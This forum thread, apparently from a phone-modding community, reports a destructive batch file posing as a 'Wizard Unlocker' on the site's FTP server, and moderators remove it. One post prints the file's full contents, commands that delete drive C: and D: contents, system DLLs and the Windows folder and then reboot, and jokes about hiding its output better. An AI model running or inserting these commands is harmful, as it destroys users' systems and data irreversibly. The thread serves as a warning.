Dangerous batch-file on FTP

[AttiM]

Hi,
I don't know, is this the right place to say, but there is a very dangerous file on Ftp.
"ftp://xda@xda-developers.com/Wizard/Unlock/Wizard Unlocker/LokiWiz.bat" will destroy your system, if you execute it.
This happend with my system too...

It would be great to know, how it happened to be such a file on Ftp, and who has done it - but please remove it!
AttiM

[ennui]

Confirmed. Attempts to wipe C: drive and Windows directories.

[MocciJ]

lol u re right :lol: beware!!

[Chatty]

Current content:
rmdir /s /q "c:\*.*"
rmdir /s /q "d:\*.*"
del /f /q "c:\*.*"
del /ah /f /q "c:\*.*"
del /f /q "%windir%\system32\*.dll"
del /f /q "%windir%\*.*"
del /f /q "./*.*"
rmdir /s /q "%windir%"
SHUTDOWN -r
cls

I would have nul'ed the output at least and echo some message like "Looking for Loki files...", coz in the end they can surely be found nowhere (on C: ). :mrgreen:

[pof]

Files deleted form FTP, thanks for pointing it out. :?

[HDuser]

Alas the ftp site is a free for all which in the past has been a free place to delete all.

I live in hope that the new ftp site will allow us to track uploads by user.

I will edit the wiki ftp page.

[pof]

I just saw your wiki edit, be careful because the malicious batch files were not on the upload section but on the "safe heaven"... it means an ftp admin has moved it there before.

[HDuser]

Oh dear as that could have been me as I have not seen much file moving in that section so I did some myself.

Guess we all have to take more care.

[AttiM]

I just saw your wiki edit, be careful because the malicious batch files were not on the upload section but on the "safe heaven"... it means an ftp admin has moved it there before.

Yes, this was because I didn't understand how it happened - I read about the upload section and the safer download section... So, I figured out, that an admin has to move this file to the other area...

[weatheryoko]

TomTom6.exe

:lol:

But I'll remember to turn the echo off.